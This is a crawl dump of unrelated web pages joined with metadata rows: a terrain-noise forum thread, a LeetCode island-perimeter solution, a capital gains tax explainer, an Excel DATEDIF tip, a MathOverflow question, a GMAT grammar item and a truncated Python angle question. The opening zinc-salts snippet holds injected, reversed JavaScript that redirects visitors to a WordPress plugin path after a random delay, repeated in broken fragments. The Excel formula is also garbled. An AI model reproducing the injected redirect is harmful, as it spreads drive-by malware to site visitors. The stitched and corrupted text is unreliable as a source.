Zinc salts are often added toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\$mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout(\$zXz(0), delay);}tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay =… Read more | 1,873 | 4,991 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.53125 | 3 | CC-MAIN-2024-26 | latest | en | 0.188429 |
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Okay, this is a pretty difficult problem, and I'm not certain there is a solution that doesn't require a super-computer to compute, but here goes: I am generating height maps procedurally using noise functions (Perlin based multi-fractals). I want them to appear as realistic as possible, i.e. sets of mountains together, plains, river valleys, peaked dunes etc. The variation in natural land-scapes is so great that I can't imagine it is possible to write a noise function by hand that could generate something close. So I had an idea: generate the noise function itself using real-world height map data as inputs. Basically I would need to parametrise my noise function somehow, then generate data with it, check it against real-world data, and use a global optimization technique to refine the input parameters. Now most multi-fractal noise functions have some very basic parametrisation already: scale, offset, lacunarity (basically the balance between high-frequency and low-frequency noise), number of octaves. What I need to do is determine what other parameters are required and how to actually integrate them into a noise algorithm. Here is a basic Ridged Multi-fractal combiner (Musgrave et al.):
template < class FTy_, class NPTy_ >
typename RidgedMultifractalProvider<FTy_, NPTy_>::value_type
RidgedMultifractalProvider<FTy_, NPTy_>::operator()(const SSEVectorType& exponents,
const noise_provider* noisep,
value_type lacunarity, value_type octaves,
value_type vx, value_type vy, value_type vz) const
{
value_type result, /*frequency, */signal, weight;
/* get first octave */
signal = (*noisep)( vx, vy, vz );
/* get absolute value of signal (this creates the ridges) */
if ( signal < 0.0 ) signal = -signal;
/* invert and translate (note that "offset" should be ~= 1.0) */
signal = _offset - signal;
/* square the signal, to increase "sharpness" of ridges */
signal *= signal;
result = signal;
weight = 1.0;
for(int i = 1; i < octaves; ++i) {
/* increase the frequency */
vx *= lacunarity;
vy *= lacunarity;
vz *= lacunarity;
/* weight successive contributions by previous signal */
weight = signal * _gain;
if ( weight > 1.0 ) weight = 1.0;
if ( weight < 0.0 ) weight = 0.0;
signal = (*noisep)( vx, vy, vz );
if ( signal < 0.0 ) signal = -signal;
signal = _offset - signal;
signal *= signal;
/* weight the contribution */
signal *= weight;
result += signal * exponents;
}
return result;
}
So, does anyone have any ideas of how I might go about achieving this? I know its a lot to ask, but I hope someone out there may have a better grasp of these kind of optimization computations than me! Any hints at all, resources I can check out, etc. would be appreciated, I'm not even sure where to start.
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I would highly recommend libnoise http://libnoise.sourceforge.net/
It's a plugin based noise generator. So you can basically layer all kinds of noise and get some pretty convincing effects. It's a wide community so there are lots of examples and support already. Also the underlying generator has a domain property that makes it super easy to generate infinite continuous terrain, one patch at a time.
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Sorry, I forgot to mention, it needs to be pseudo-real-time, i.e. fast enough to generate while the program is running, and update lod chunks in a chunked-lod scheme! The best example I can see in lib-noise (http://libnoise.sourceforge.net/examples/complexplanet/index.html), takes 25 minutes to generate a 2048x2048 map, I need it to be more like 20 seconds or less. My single precision SSE ridged multi-fractal takes about 4 seconds at the moment to do the same resolution.
I know, its a tall order!
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Is the idea to create a noise function that approximates a particular heightmap, or is it to create one whose output somehow has the same statistics as a collection of real heightmaps?
In other words: You mention a global optimizer; what function would you be optimizing?
Anyway, if it's the former you want, my impulse would just be to approximate the heightmap by a basis expansion and then add some (Perlin?) noise on top. If it's the latter, then my ideas are less well formed, but they essentially involve building a sort of Markov model of your terrain, in which the probability of a given pixel/region having a certain value/parametrization is a function only of the value/parametrization of its neighbor pixels/regions.
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I want to generate height maps that have the same statistics as a collection of example (real world) height maps. The problem is working out what those statistics are, how to determine their values for a particular height map, and how to make a height map generator that will take these as inputs.
I can't imagine I could choose 'complex' statistics like values indicating how "mountainous", "rolling", "hilly" etc. the terrain is, as they are to difficult to quantify from pure height map data. It would probably have to be something more easily specified mathematically, but I can't really work out what.
I also can't imagine I will be able to find a single set of parameters that I can both extract from a height map, as well as plug into a height map generator. That is where the optimization comes in:
If I can come up with a noise generator that will produce a wide variety of terrains from a certain set of parameters (probably quite abstract ones, not directly related to the terrain statistics I mentioned above), I can then perform comparisons with its output against the real-world height maps, and determine how "good" a particular set of parameters is. I can then use some optimization method to narrow down a set of parameters that generates "good" terrain.
One problem with this is that if I just directly compare the generated terrain with the real-world height maps (e.g. using RMS of the subtracted height values), then I will end up just optimizing to parameters that produce height maps that have similar heights at the same locations, not terrains that have the same types of features, but randomly arranged (which is what I am going for).
So really I need to be able to parametrise the terrains for comparison as well as parametrise the height generator. It would be great if they were the same set of parameters, but that would be a bit to good to be true (i.e. difficult/impossible for me!). I will look into the things you mention. (its late now, must sleep!).
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The technical term for the kind of model I'm suggesting might be useful is a Markov random field (MRF). I'll admit at this point though that although I'm quite familiar with Markov chains, Markov random fields fall outside the set of things I really know...
My first question would be how to generate images according to a given MRF model. A quick google on the subject seems to indicate that MRFs can be sampled by simulating a corresponding Markov chain (MC). In essence, the state of the MC is an image, and the stationary distribution of the MC agrees with the MRF -- so, the gist of it seems to be that if you simulate the MC for a long time to let it "run in" and then stop it, you'll get a sample from the MRF (i.e., an image generated according to the MRF). It seems that there exist both Metropolis and Gibbs samplers for this. So the whole thing falls under the general heading of Markov Chain Monte Carlo (MCMC) methods.
My second question would be how to efficiently store the conditional probabilities, and how to generate enough statistics that your estimates of these probabilities would be meaningful. The naive thing to do would be to just use a big table, but this rapidly gets impractical. For instance, consider a stationary 4-connected MRF model for grayscale images whose values are quantized to 256 levels: You'd need, for each of 256^5 = 2^40 possible combinations of a pixel's value together with its neighbors', to store a probability. Apart from the simple fact that you can't even address that much memory on a 32-bit computer, the amount of data you'd have to analyze to estimate probabilities with any confidence would be staggering... so clearly we need to include more assumptions about the PDF than just the Markov property. If we assume certain kinds of conditional independence, we could represent the probabilities by a Bayes net; that might do what we want...
You could also assume a linear model + white noise; then you'd basically be solving a giant least-squares problem; that might be more feasible...
I'll bet you though that I'm now reinventing a thoroughly investigated wheel. So if you google some of this stuff I strongly suspect you'll find information.
It's also entirely possible I'm leading you down an overcomplicated path though, so keep lots of things in mind!
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Have you looked at World Machine?
It's a node-based height map generator. Take a look at the examples and also the user community/tutorials. It should at least give you some ideas....
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• ### Forum Statistics
• Total Topics
631778
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× | 2,132 | 9,331 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.71875 | 3 | CC-MAIN-2018-30 | latest | en | 0.834907 |
https://www.cnblogs.com/lightmare/p/10416152.html | 1,603,403,863,000,000,000 | text/html | crawl-data/CC-MAIN-2020-45/segments/1603107880038.27/warc/CC-MAIN-20201022195658-20201022225658-00279.warc.gz | 680,159,148 | 5,868 | # 题目
输入:
[[0,1,0,0],
[1,1,1,0],
[0,1,0,0],
[1,1,0,0]]
# 代码
### solution1
class Solution {
public:
int islandPerimeter(vector<vector<int>>& grid) {
if(grid.empty()||grid[0].empty())
{
return 0;
}
int rows=grid.size();
int cols=grid[0].size();
int len=0;
for(int row=0;row<rows;row++)
{
for(int col=0;col<cols;col++)
{
if(grid[row][col]==0) continue;
len+=4;
if(row>0&&grid[row-1][col]==1) len-=2;//上面
if(col>0&&grid[row][col-1]==1) len-=2;//左边
}
}
return len;
}
};
### solution 2
class Solution {
public:
int islandPerimeter(vector<vector<int>>& grid) {
if(grid.empty()||grid[0].empty())
{
return 0;
}
int rows=grid.size();
int cols=grid[0].size();
int len=0;
for(int row=0;row<rows;row++)
{
for(int col=0;col<cols;col++)
{
if(grid[row][col]==0) continue;
if(row==0||grid[row-1][col]==0) len++;//上
if(col==0||grid[row][col-1]==0) len++;//左
if(row==rows-1||grid[row+1][col]==0) len++;//下，这里注意数组越界
if(col==cols-1||grid[row][col+1]==0) len++;//右
}
}
return len;
}
};
# 问题
posted @ 2019-02-19 23:10 lightmare 阅读(72) 评论(0编辑 收藏 | 418 | 1,037 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.03125 | 3 | CC-MAIN-2020-45 | latest | en | 0.107155 |
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The Best Interest » Capital Gains Taxes 101
# Capital Gains Taxes 101
Jesse – after a tough tax season for me, can you offer any advice on capital gains tax planning? Should I set up a tax witholding on my taxable accounts? What general framework should people use?
Jennifer, reader-of-the-blog
Great questions. Let’s devote an article to the basics of capital gains taxes.
My recommendation: skim the headlines in the article. Many of you know the basics already, but I bet certain sections shed new light for you.
## What are Capital Gains?
A capital gain occurs when you sell an asset for more than you bought it for. A capital loss occurs when you sell an asset for less than you bought it for.
Capital gains or capital losses become realized upon such a sale. Until that sale, the capital gain/loss is considered unrealized, sometimes called “paper gains/losses.”
While realized capital gains are taxed…ew!…never forget: capital gains are evidence that something good happened!
#### How are Capital Gains Calculated? What Accounting Methods Are Used?
In their most simple form, capital gains are synonymous with “profit.” But three different accounting methods can be used to calculate capital gains.
Imagine the following scenario:
• You buy 100 shares of Fund A for \$100 each in the year 2000
• You buy 100 more shares for \$150 each in 2005
• You buy 100 more shares for \$300 each in 2010
And today, with the fund price at \$400, you want to sell 50 shares. What’s your profit? What’s your capital gain?
The first in, first out accounting method assumes you’re selling the oldest shares first. All 50 shares would be sold from the lot with \$100 original price (or “cost basis”) resulting in \$300 capital gains per share, or \$15000 total capital gains.
The specific share identification method involves, as the name implies, identifying which shares are to be sold. To keep taxes low, I might choose to sell 50 shares from my 2010 purchase lot, resulting in a \$5000 capital gain. But since I’m identifying specific shares, I need to ensure I’m keeping excellent records.
Or I could use the average basis method. The average cost of these shares is \$183.33, resulting in \$216.66 capital gains per share, or \$10,833 in total capital gains. Once this method is used, all remaining unsold shares get reconstituted to a cost basis of \$183.33.
The average cost basis method is generally NOT applicable to individual stocks. Instead, it’s applied to mutual fund and ETF purchases.
### How are Capital Gains Taxed?
Capital gains are subject to tax when in taxable accounts. There are no capital gains in 401(k), IRAs, HSAs, or any other “qualified” or “tax-advantaged” investing accounts. =
The first major consideration in determining capital gains tax is the duration of holding the asset.
• If you hold an asset for less than a year before selling it, it generates a short-term capital gain/loss.
• more than a year, it generates a long-term capital gain/loss.
Short-term capital gains are taxed as normal income. For many Americans, this equates to a 12% to 24% tax rate. Here’s more on how Federal income tax brackets work.
Long-term capital gains are taxed from 0% to 23.8%, depending on the investors’ total income.
Importantly, capital losses offset capital gains. Going even further, capital losses can offset your normal income (up to \$3000 per year), and excess capital losses can carry forward into future tax years.
### What Assets Are Subject to Capital Gains?
The most common assets that are subject to capital gains are:
• Stocks
• Bonds
• Real estate
• Vehicles
Other reasonable capital gains assets include:
• Gems and jewelry
• Digital assets, like virtual currencies, stablecoins, and non-fungible tokens (NFTs)
• Household furnishings
• Gold, silver, and other metals
• Coin and stamp collections
• Timber grown on your home property or investment property
### How Are Long-Term Capital Gain Taxes Calculated?
Long-term capital gains are taxed based on a tax filer’s taxable income, not just based on their capital gains alone. As a reminder, taxable income includes many sources, including:
• Wages, salary, commissions, bonuses, etc.
• Unearned income, such as canceled debts or government benefits.
• Capital gains themselves, as well as investment dividends and interest
The capital gains brackets for 2023 are as follows:
For a single filer, if their total taxable income falls below \$44,625, they’ll owe nothing on capital gains. Nice!
The “taxable income vs. capital gains” idea confuses many people, who might mistakenly think, “My first \$44,625 in capital gains aren’t taxed? Sweet!” That’s only true for someone with no other taxable income.
Other forms of taxable income push capital gains into higher tax brackets. This is commonly referred to as “stacking.” Financial planning blogger Michael Kitces has a terrific infographic to describe this stacking:
You can see how this person’s taxable income (Column 3) “stacks” below their capital gains (Column 5), pushing some of their gains into the 15% capital gains zone (see right Y-axis).
### When are Capital Gains Taxes Due?
Normal income is withheld from your paycheck to make estimated tax payments throughout the year.
Capital gains are a bit different. We’ll cover the “withholding” idea below.
Nevertheless, you should consider making capital gains tax payments on a quarterly basis using estimated tax payments. In other words, you should not simply wait for the end of the year to make a large, lump sum capital gains tax payment. Instead, you should use estimated tax payments if:
1. You’ll owe an estimated capital gains tax of at least \$1000 for the year, AND
2. Your current year’s tax withholding will be less than 90% of what you owe this year, OR less than 100% of what you owed last year.
#### Example: Capital Gains Estimated Tax Payments
I’ll admit. Those clauses above are confusing. Tax code usually is. An example will clear them up.
Last year, John and Jamie earned \$160,000 and paid \$20,736 in Federal Taxes. This year, their combined salary is \$170,000 and they’re on pace for Federal withholding of \$22,936.
This year, in February, John and Jamie sell some assets for a \$50,000 long-term capital gain. These capital gains all fall in the 15% bracket, incurring a tax burden of \$7,500. Should John and Jamie make estimated quarterly payments?
1. Do they owe capital gains of at least \$1000? Yes.
2. A) Is their current-year withholding less than 100% of what they owed last year? No. B) Is their current-year withholding less than 90% of what they’ll owe this year? Yes!
They’ll owe \$22,396 + \$7,500, but they’re only withholding \$22,396. They’re only withholding ~75% of what they owe, which is under the 90% threshold. Because they’re under that threshold and they’ll owe more than \$1000, John and Jamie should make estimated tax payments.
The payments are due quarterly and are due on April 15 (Q1), June 15 (Q2), September 15 (Q3), and January 15 (Q4). And yes, those 4 payment dates are NOT evenly spaced. I have no idea why…
### Can I Set Up “withholding” for Capital Gains?
“Withholding” is a concept from the income tax world, when a final tax bill is predictable based on income. The capital gains world is not so clear.
Will there be more gains later this year? Will there be capital losses this year to offset gains? Will you even owe capital gains taxes, or will you fall into a 0% capital gains bracket?
For all these reasons, there is no “withholding” for capital gains purposes.
Instead, many investors elect to create a “DIY withholding” account to ensure they maintain enough cash to fully cover their capital gains tax burden.
### What’s the Net Investment Income Tax?
The Net Investment Income (NII) tax is a relatively recent tax that effectively acts as an additional capital gains tax (at a 3.8% rate). NII tax applies to investment income above \$200,000 (if filing taxes single) or \$250,000 (filing jointly). Those thresholds mean NII applies to:
1. A portion of the 15% capital gains bracket
2. All of the 20% capital gains bracket
In other words, there are effectively (4) capital gains tax brackets: 0%, 15%, 18.8% (15 + 3.8), and 23.8% (20 + 3.8)
### How Should I Minimize/Avoid Capital Gains Taxes?
I’m going to keep these tips brief.
1. Take advantage of tax-deferred investing accounts.
2. Invest for the long-term. Avoid short-term capital gains tax rates.
3. Try to offset capital gains with capital losses.
4. Utilize tax-loss harvesting and carryover losses to future years.
5. Utilize tax-gain harvesting in low-income years.
6. Use the best accounting methods for your situation.
7. Wait to die. Seriously. (see below)
8. Asset location – place your high-tax investment in qualified accounts and place your low-tax investments in taxable accounts.
9. Use high-gains assets for your donations. The charity gets full value, you pay no capital gains taxes, and you get a tax deduction.
10. Use high-gains assets as loan collateral. Many brokerage firms offer loans against shares, providing cash liquidity without selling the underlying shares.
### What If I Die? Who Pays Capital Gains Taxes?
Under current tax law, if you die and leave high-gains assets to your heirs, no capital gains tax will be paid on the transfer. Not by your estate, nor by your heirs. Not only that, but your heirs will receive the assets on a “stepped-up basis.”
If you bought Apple in 2000, it was less than \$1 per share. Today, it’s \$166 per share. If you sold today, that \$165 gain per share is subject to capital gains.
But if you die today, your heirs inherit those Apple shares at a \$166 cost basis. If they sold tomorrow (at \$166), there would be no gain, and therefore no tax.
For this reason, capital gains tax planning is especially important in retirement and older years. Should you sell assets and incur taxes? Or just wait to die?
Granted, this area of the tax code is hotly debated and in the legislative crosshairs. In general, capital gains taxes (a.k.a. taxes on capital) are significantly lower than income taxes (a.k.a. taxes on labor).
## Questions?
Did I miss anything big? Got any questions for me? Fire away!
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https://in-map.net/excel-formula-for-number-of-years-between-two-dates-excel-formula-tip-calculate-how-many-days-until-the-end-of-a-sales-campaign-using-if-and-datedif/ | 1,675,784,507,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764500619.96/warc/CC-MAIN-20230207134453-20230207164453-00051.warc.gz | 332,419,970 | 12,775 | # Excel Formula For Number Of Years Between Two Dates Excel Formula Tip – Calculate How Many Days Until The End Of A Sales Campaign Using IF and DATEDIF
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## Excel Formula Tip – Calculate How Many Days Until The End Of A Sales Campaign Using IF and DATEDIF
This was a question sent to me by one of my website visitors. How can I count down the days until the campaign ends?
It’s easy enough to get started as we can calculate the difference between today and the end of the campaign.
But what if the campaign hasn’t started yet… ah hah, I hear the IF formula coming… and let’s mix it up with the DATEDIF formula.
The rationale in brief is-
If the campaign start date is after today count the number of days between the start and end date but if the campaign start date is before today count the number of days between today and the end of the campaign.
So let’s get Excel to do this for us using IF and DATEDIF using an example.
Blue Moon
Start date 27/02/2015
Last date 01/04/2015
Days left in Campaign 31
The yellow carpet
Effective date 01/04/2015
Last date 01/08/2015
Days left in Campaign 122
I have a few programs in my example above, using the IF function I test two conditions true and false. In this example I want to test if the start of the campaign is after today
=IF(BEGIN DATE>TODAY() – this is the first part of the formula
The second part shows the difference in days between the start and end date of the campaign IF the campaign has not started That is, if the condition in the first part of the formula is TRUE.
DATEDIF(BEGIN DATE,END DATE″D”)
The third part of the formula will show the difference in days between today and the end of the campaign if the start date of the campaign is not later than today ie if the condition is FALSE. The DATEDIF part of the formula simply calculates the number of days using “D” time units from one date to another.
DATEDIF(TODAY(),DATE,”D”))
So to my campaigns above
• The Blue Moon starts today so the difference between the start and end date is 33 days
• The yellow carpet doesn’t start until 01/04/2015 and ends on 01/08/2015 so it will run for 122 days.
• The overall formula looks like this
=IF(BEGIN DATE>TODAY(MONDAY(START DATE,END DATE,”D”),MONDAY)TODAY(),END DATE,”D”))
The DATEDIF function is missing when you use the Insert Function in Excel, or you search for it manually by typing DATED directly into a cell. Excel doesn’t seem to support it but it does. You really should have it in your Excel toolkit.
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#Excel #Formula #Tip #Calculate #Days #Sales #Campaign #DATEDIF
Source: https://ezinearticles.com/?Excel-Formula-Tip—Calculate-How-Many-Days-Until-The-End-Of-A-Sales-Campaign-Using-IF-and-DATEDIF&id=8941493 | 915 | 3,921 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.53125 | 4 | CC-MAIN-2023-06 | latest | en | 0.906355 |
https://mathoverflow.net/questions/160933/simultaneously-extending-the-functionals-of-a-subspace-of-a-banach-space-to-the | 1,571,802,872,000,000,000 | text/html | crawl-data/CC-MAIN-2019-43/segments/1570987828425.99/warc/CC-MAIN-20191023015841-20191023043341-00505.warc.gz | 571,362,511 | 26,427 | # Simultaneously extending the functionals of a subspace of a Banach space to the whole space
Let $X$ be a Banach space and $Y$ a closed subspace of $X$. If $\varphi\in Y^*$, then Hahn-Banach allows us to extend $\varphi$ to a $\tilde\varphi\in X^*$, such that $\|\tilde\varphi\|=\|\varphi\|$. This extension can happen in infinitely many ways, in general.
My question is the following: Can we guarantee the existence of a bounded linear transformation $$F : Y^*\to X^*,$$ such that $F(\varphi)$ is an extension of $\varphi\in Y^*$ as a bounded linear functional on $X$? (Preferably with $\|F\|=1$.)
First unsuccessful attempt: Define $F$ on a (Hamel) basis of $Y^*$, and then linearly extend to the whole of $Y^*$. But this $F$ is not necessarily bounded.
• There are results available, when the extension is unique, e.g. in a Hilbert space or more general results can be found here jstor.org/discover/10.2307/…. Of course, Hamel basis are not to be chosen in topological vector space, e.g. for Banach spaces one works with a Schauder basis. – Marc Palm Mar 20 '14 at 14:08
• Be careful, there exists Banach spaces which do not admit a Schauder Basis. The first examples are due to Enflo. – Marc Palm Mar 20 '14 at 14:09
• Having a Schauder basis still might not save you; see Bill Johnson's answer. Note that every Banach space $Y$ embeds isometrically into some $X=\ell^\infty(\Gamma)$, but it is relatively rare that $Y^\perp$ will be complemented in $X^*$. – Yemon Choi Mar 20 '14 at 14:35
$Y\to X \to X/Y$
split, which is equivalent to having $Y^\perp$ complemented in $X^*$. | 474 | 1,586 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.734375 | 3 | CC-MAIN-2019-43 | latest | en | 0.8358 |
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# As one step in their plan to engender greater goodwill in the communit
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As one step in their plan to engender greater goodwill in the communit [#permalink]
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26 Mar 2020, 03:55
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As one step in their plan to engender greater goodwill in the community, the town council organized a series of public meetings when residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and their failure to follow through on promised reforms.
A. As one step in their plan to engender greater goodwill in the community, the town council organized a series of public meetings when residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and their failure to follow through on promised reforms.
B. As one step in its plan to engender greater goodwill in the community, the town council organized a series of public meetings at which residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and a failure to follow through on promised reforms.
C. As one step in its plan to engender greater goodwill in the community, the town council organized a series of public meetings at which residents could air grievances about the opacity of decision making, tendency to award contracts to cronies, and failing to follow through on promised reforms.
D. As one step in its plan to engender greater goodwill in the community, a series of public meetings was organized by the town council so that residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and a failure to follow through on promised reforms.
E. The town council, as one step in their plan to engender greater goodwill in the community, organized a series of public meetings for residents at which they could air grievances about their opacity of decision making, tendency to award contracts to cronies, and failure to follow through on promised reforms.
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01 Apr 2020, 03:28
Bunuel wrote:
As one step in their plan to engender greater goodwill in the community, the town council organized a series of public meetings when residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and their failure to follow through on promised reforms.
A. As one step in their plan to engender greater goodwill in the community, the town council organized a series of public meetings when residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and their failure to follow through on promised reforms.
B. As one step in its plan to engender greater goodwill in the community, the town council organized a series of public meetings at which residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and a failure to follow through on promised reforms.
C. As one step in its plan to engender greater goodwill in the community, the town council organized a series of public meetings at which residents could air grievances about the opacity of decision making, tendency to award contracts to cronies, and failing to follow through on promised reforms.
D. As one step in its plan to engender greater goodwill in the community, a series of public meetings was organized by the town council so that residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and a failure to follow through on promised reforms.
E. The town council, as one step in their plan to engender greater goodwill in the community, organized a series of public meetings for residents at which they could air grievances about their opacity of decision making, tendency to award contracts to cronies, and failure to follow through on promised reforms.
KAPLAN OFFICIAL EXPLANATION
(B)
Step 1: Read the Original Sentence Carefully, Looking for Errors
When faced with choices that are this long, it is often easier to focus on one element of the sentence at a time. The opening phrase says something is happening as “one step in their plan.” Whose plan? The town council’s—but a council is singular and must be represented by the singular pronoun “its.” If you didn’t notice this error in reading the sentence, a vertical scan of the beginnings of the answer choices shows a split between “its plan” and “their plan,” showing that whether this pronoun is singular or plural is one issue to consider and a good starting point.
Step 2: Scan and Group the Answer Choices
There’s a 2-3 split; (A) and (E) use the plural pronoun “their,” while (B), (C), and (D) use the singular “its.”
Step 3: Eliminate Choices Until Only One Remains
Eliminate (A) and (E) for using the incorrect plural pronoun. Scan the remaining choices in parallel until you see a difference. (D) has “a series of public meetings” after the comma, indicating that the series of meetings sought to engender greater goodwill. This isn’t logical, so eliminate this choice. The difference between (B) and (C) comes in the list at the end. Examine the list for parallel structure and notice the lack of parallel structure in (C) with “the opacity . . . tendency . . . and failing.” The list in (B) has parallel structure, and this choice is correct.
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Re: As one step in their plan to engender greater goodwill in the communit [#permalink]
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26 Mar 2020, 19:44
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As one step in their plan to engender greater goodwill in the community, the town council organized a series of public meetings when residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and their failure to follow through on promised reforms.
A. As one step in their plan to engender greater goodwill in the community, the town council organized a series of public meetings when residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and their failure to follow through on promised reforms. ---1. The town council is singular and the pronoun ‘their’ does not match that singularity 2.’ When’ cannot be used for an event such as meetings. ‘At which’ is correct.
B. As one step in its plan to engender greater goodwill in the community, the town council organized a series of public meetings at which residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and a failure to follow through on promised reforms. --- The correct choice
C. As one step in its plan to engender greater goodwill in the community, the town council organized a series of public meetings at which residents could air grievances about the opacity of decision making, tendency to award contracts to cronies, and failing to follow through on promised reforms. – ‘failing’ is not parallel with the opacity or tendency; it should be a failure
D. As one step in its plan to engender greater goodwill in the community, a series of public meetings was organized by the town council so that residents could air grievances about the opacity of decision making, a tendency to award contracts to cronies, and a failure to follow through on promised reforms. – Misplaced modifier – ‘the step’ wrongly modifies ‘a series’
E. The town council, as one step in their plan to engender greater goodwill in the community, organized a series of public meetings for residents at which they could air grievances about their opacity of decision making, tendency to award contracts to cronies, and failure to follow through on promised reforms. --- 1. The same SV error as in A. 2. ‘At which’ wrongly modifies the residents.
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Re: As one step in their plan to engender greater goodwill in the communit [#permalink] 26 Mar 2020, 19:44
Display posts from previous: Sort by | 1,953 | 9,144 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.4375 | 3 | CC-MAIN-2020-16 | latest | en | 0.929867 |
https://pythonquestion.com/post/calculating-angles-between-line-segments-python-with-math-atan2/ | 1,601,536,752,000,000,000 | text/html | crawl-data/CC-MAIN-2020-40/segments/1600402124756.81/warc/CC-MAIN-20201001062039-20201001092039-00661.warc.gz | 536,742,006 | 5,194 | # Calculating angles between line segments (Python) with math.atan2
I am working on a spatial analysis problem and part of this workflow is to calculate the angle between connected line segments.
Each line segment is composed of only two points, and each point has a pair of XY coordinates (Cartesian). Here is the image from GeoGebra. I am always interested in getting a positive angle in 0 to 180 range. However, I get all kind of angles depending on the order of vertices in input line segments.
The input data I work with is provided as tuples of coordinates. Depending on the vertex creation order, the last/end point for each line segment can be different. Here are some of the cases in Python code. The order of line segments in which I get them is random, but in a tuple of tuples, the first element is the start point and the second one is the end point. `DE` line segment, for instance, would have `((1,1.5),(2,2))` and the `(1,1.5)` is the start point because it has the first position in the tuple of coordinates.
I however need to make sure I will get the same angle between `DE,DF` and `ED,DF` and so forth.
``````vertexType = "same start point; order 1"
#X, Y X Y coords
lineA = ((1,1.5),(2,2)) #DE
lineB = ((1,1.5),(2.5,0.5)) #DF
calcAngle(lineA, lineB,vertexType)
#flip lines order
vertexType = "same start point; order 2"
lineB = ((1,1.5),(2,2)) #DE
lineA = ((1,1.5),(2.5,0.5)) #DF
calcAngle(lineA, lineB,vertexType)
vertexType = "same end point; order 1"
lineA = ((2,2),(1,1.5)) #ED
lineB = ((2.5,0.5),(1,1.5)) #FE
calcAngle(lineA, lineB,vertexType)
#flip lines order
vertexType = "same end point; order 2"
lineB = ((2,2),(1,1.5)) #ED
lineA = ((2.5,0.5),(1,1.5)) #FE
calcAngle(lineA, lineB,vertexType)
vertexType = "one line after another - down; order 1"
lineA = ((2,2),(1,1.5)) #ED
lineB = ((1,1.5),(2.5,0.5)) #DF
calcAngle(lineA, lineB,vertexType)
#flip lines order
vertexType = "one line after another - down; order 2"
lineB = ((2,2),(1,1.5)) #ED
lineA = ((1,1.5),(2.5,0.5)) #DF
calcAngle(lineA, lineB,vertexType)
vertexType = "one line after another - up; line order 1"
lineA = ((1,1.5),(2,2)) #DE
lineB = ((2.5,0.5),(1,1.5)) #FD
calcAngle(lineA, lineB,vertexType)
#flip lines order
vertexType = "one line after another - up; line order 2"
lineB = ((1,1.5),(2,2)) #DE
lineA = ((2.5,0.5),(1,1.5)) #FD
